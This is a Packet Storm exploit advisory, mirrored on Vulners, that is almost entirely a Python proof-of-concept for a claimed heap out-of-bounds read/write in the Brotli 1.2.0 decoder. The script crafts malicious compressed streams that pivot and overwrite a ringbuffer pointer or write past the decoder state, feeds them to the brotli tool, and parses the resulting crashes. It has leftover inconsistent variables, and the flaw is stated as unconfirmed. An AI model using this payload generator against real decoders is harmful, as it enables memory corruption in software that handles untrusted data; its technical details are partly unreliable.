Lucene search
+L

Brotli 1.2.0 Decoder Heap Out-Of-Bounds Read/Write

🗓️ 04 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

Heap out-of-bounds read/write in Brotli DecodeBlockTypeAndLength decoding logic.

Code
==================================================================================================================================
| # Title     : Brotli 1.2.0 Decoder DecodeBlockTypeAndLength Heap Out-of-Bounds Read/Write                                      |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://pypi.org/project/brotli/                                                                                 |
==================================================================================================================================

[+] Summary : toolkit designed to investigate a claimed heap Out-of-Bounds (OOB) read/write vulnerability in Brotli's DecodeBlockTypeAndLength decoding logic.


[+] POC    : 

#!/usr/bin/env python3

import argparse, os, struct, subprocess, sys, tempfile, time

VULN_VERSIONS = ("1.0.3", "1.0.4", "1.0.9", "1.1.0", "1.2.0")
FIX_COMMIT    = "0ed4268a4401abcb4472096340477cf4af7d1a2b"
CAP           = 1 << 24               
STATE_SIZE    = 0x1670                
OFF_BUFFER    = 0x48
OFF_BLEN      = 0x50
OFF_RINGBUF   = 0x88
OFF_SHDICT    = 0x320
RINGBUF_PWN   = 0x00000CAFEBABE000     
class BitWriter:
    def __init__(self):
        self.acc = 0
        self.nbits = 0
        self.out = bytearray()

    def write(self, value, n):
        assert 0 <= value < (1 << n), (value, n)
        self.acc |= (value & ((1 << n) - 1)) << self.nbits
        self.nbits += n
        while self.nbits >= 8:
            self.out.append(self.acc & 0xFF)
            self.acc >>= 8
            self.nbits -= 8

    def finish(self):
        if self.nbits:
            self.out.append(self.acc & 0xFF)
            self.acc = 0
            self.nbits = 0
        return bytes(self.out)
def build_trigger_stream(mode="aimed", escape_k=2530, control=False):
    """
    Build a Brotli stream that:
      1) declares NBLTYPESL=NBLTYPESI=NBLTYPESD=1, MLEN-1=0
      2) emits 2^24 zero-output commands (14 bits each)
      3) drives block_length[1] to 0 -> wedged state
      4) tail: 8 filler + (pivot) + payload   (pivot omitted in control)

    mode:
      "aimed"   -> pivot 0x3F, payload = RINGBUF_PWN (8 bytes LE)
      "escape"  -> chain pivot to land `escape_k` bytes past state
      "control" -> no pivot, no payload
    """
    if control or mode == "control":
        pivot_bytes = b""
        payload = b""
    elif mode == "aimed":
        pivot = (OFF_RINGBUF - OFF_BUFFER) - 8  # 0x88-0x48-8 = 0x38? recompute below
        pivot_val = OFF_RINGBUF - OFF_BUFFER  # 0x40
        pivot_bytes = bytes([pivot_val & 0xFF])
        payload = struct.pack("<Q", RINGBUF_PWN)
    elif mode == "escape":
        idx = OFF_BUFFER + escape_k
        lo = idx & 0xFF
        hi = (idx >> 8) & 0xFF
        pivot_bytes = bytes([0x08, 0x20])
        base_off = OFF_BLEN + 0x2008 - STATE_SIZE 
        if escape_k < base_off:
            raise SystemExit(f"escape_k must be >= {base_off}")
        payload = b"A" * (escape_k - base_off + 1)
    else:
        raise SystemExit(f"unknown mode {mode}")

    bw = BitWriter()
    bw.write(1, 1)       
    bw.write(0, 1)         
    bw.write(3, 2)        
    bw.write(0, 16)         
    bw.write(0, 1)          
    bw.write(0, 1)          
    bw.write(0, 1)         
    bw.write(0, 1)         
    bw.write(0, 2)          
    bw.write(0, 4)         
    bw.write(1, 1)        
    bw.write(0, 2)        
    bw.write(0, 1)        

    bw.write(1, 1); bw.write(0, 2); bw.write(0, 1) 
    bw.write(1, 1); bw.write(0, 2); bw.write(0, 1) 

    CMD_BITS = 14
    total_bits = CAP * CMD_BITS
    full_bytes, rem = divmod(total_bits, 8)
    bw.out.extend(b"\x00" * full_bytes) 
    if rem:
        bw.write(0, rem)

    body = bw.finish()
    tail = b"\x00" * 8 + pivot_bytes + payload
    return body + tail
def compute_pivot(target_struct_off):
    """Return (pivot_bytes, note) to start the run at target_struct_off."""
    if target_struct_off < OFF_BLEN + 8:
        raise SystemExit("target must be past buffer_length byte0")
    rel = target_struct_off - OFF_BUFFER
    if rel <= 0xFF:
        return bytes([rel & 0xFF]), f"single-byte pivot 0x{rel:02x}"
    lo = rel & 0xFF
    hi = (rel >> 8) & 0xFF
    return bytes([lo, hi]), f"chained pivot 0x{hi:02x}{lo:02x}"
def run_decode(path, tool="brotli"):
    print(f"[*] {tool} -d -c {path} > /dev/null")
    t0 = time.time()
    r = subprocess.run([tool, "-d", "-c", path],
                       stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)
    dt = time.time() - t0
    print(f"[*] exit={r.returncode}  ({dt:.2f}s)")
    if r.returncode in (134, -6):
        print("[!] SIGABRT — likely free() on corrupted pointer (aimed mode)")
    elif r.returncode == 1:
        print("[+] clean rejection (control, or fixed build)")
    if r.stderr:
        sys.stderr.write(r.stderr.decode("utf-8", "replace")[:300])
    return r.returncode

def run_asan(path, harness=None):
    if harness is None:
        print("[-] no ASan harness provided; build one with `asan_harness.c`")
        return None
    print(f"[*] ASAN_OPTIONS=... {harness} {path}")
    env = dict(os.environ, ASAN_OPTIONS="abort_on_error=1:detect_leaks=0")
    r = subprocess.run([harness, path], env=env,
                       stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    print(f"[*] exit={r.returncode}")
    sys.stderr.write(r.stderr.decode("utf-8", "replace")[:2000])
    return r.returncode
def parse_crash(path):
    with open(path, "r", errors="replace") as f:
        txt = f.read()
    for pat in (r"Exception Type:\s*(.+)", r"Exception Subtype:\s*(.+)",
                r"Termination Reason:\s*(.+)", r"Triggered by Thread:\s*(.+)"):
        import re
        m = re.search(pat, txt)
        if m:
            print(f"  {pat.split(':')[0]}: {m.group(1).strip()}")
    for line in txt.splitlines():
        if "BrotliDecoder" in line or "free" in line.lower():
            print("  |", line.strip()[:120])
def info():
    print(f"[*] vulnerable versions : {', '.join(VULN_VERSIONS)}")
    print(f"[*] fix commit          : {FIX_COMMIT} (unreleased)")
    print(f"[*] state size          : {STATE_SIZE:#x} ({STATE_SIZE})")
    print(f"[*] buffer @ {OFF_BUFFER:#x}  buffer_length @ {OFF_BLEN:#x}  "
          f"ringbuffer @ {OFF_RINGBUF:#x}  shdict @ {OFF_SHDICT:#x}")
    print(f"[*] BROTLI_BLOCK_SIZE_CAP = {CAP}")
    print(f"[*] ringbuffer pwn value  = {RINGBUF_PWN:#x}")
    try:
        r = subprocess.run(["brotli", "--version"], capture_output=True, text=True)
        print(f"[*] local brotli: {r.stdout.strip() or r.stderr.strip()}")
    except FileNotFoundError:
        print("[!] `brotli` not found in PATH")
def all_(mode, escape_k, tool):
    info()
    work = tempfile.mkdtemp(prefix="brotli_poc_")
    out = os.path.join(work, f"block_switch_{mode}.br")
    print(f"[*] building {mode} stream ...")
    data = build_trigger_stream(mode=mode, escape_k=escape_k,
                                control=(mode == "control"))
    with open(out, "wb") as f:
        f.write(data)
    print(f"[+] wrote {out} ({len(data)} bytes)")
    rc = run_decode(out, tool=tool)
    print(f"[*] done. exit={rc}")
    return rc
def main(argv=None):
    ap = argparse.ArgumentParser(description="Brotli DecodeBlockTypeAndLength PoC")
    sub = ap.add_subparsers(dest="cmd", required=True)

    sub.add_parser("info")

    p = sub.add_parser("build")
    p.add_argument("--mode", choices=["aimed", "escape", "control"], default="aimed")
    p.add_argument("--k", type=int, default=2530, help="escape distance past state")
    p.add_argument("--out", default=None)
    p = sub.add_parser("run")
    p.add_argument("--file", required=True)
    p.add_argument("--tool", default="brotli")
    p = sub.add_parser("asan")
    p.add_argument("--file", required=True)
    p.add_argument("--harness", default=None)
    p = sub.add_parser("crash")
    p.add_argument("--log", required=True)
    p = sub.add_parser("pivot")
    p.add_argument("--target", type=lambda s: int(s, 0), required=True)
    p = sub.add_parser("all")
    p.add_argument("--mode", choices=["aimed", "escape", "control"], default="aimed")
    p.add_argument("--k", type=int, default=2530)
    p.add_argument("--tool", default="brotli")

    a = ap.parse_args(argv)

    if a.cmd == "info":
        info()
    elif a.cmd == "build":
        data = build_trigger_stream(a.mode, a.k, control=(a.mode == "control"))
        out = a.out or f"block_switch_{a.mode}.br"
        with open(out, "wb") as f:
            f.write(data)
        print(f"[+] wrote {out} ({len(data)} bytes)")
    elif a.cmd == "run":
        run_decode(a.file, a.tool)
    elif a.cmd == "asan":
        run_asan(a.file, a.harness)
    elif a.cmd == "crash":
        parse_crash(a.log)
    elif a.cmd == "pivot":
        pb, note = compute_pivot(a.target)
        print(f"[+] pivot bytes: {pb.hex()}  ({note})")
    elif a.cmd == "all":
        all_(a.mode, a.k, a.tool)

if __name__ == "__main__":
    main()
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
11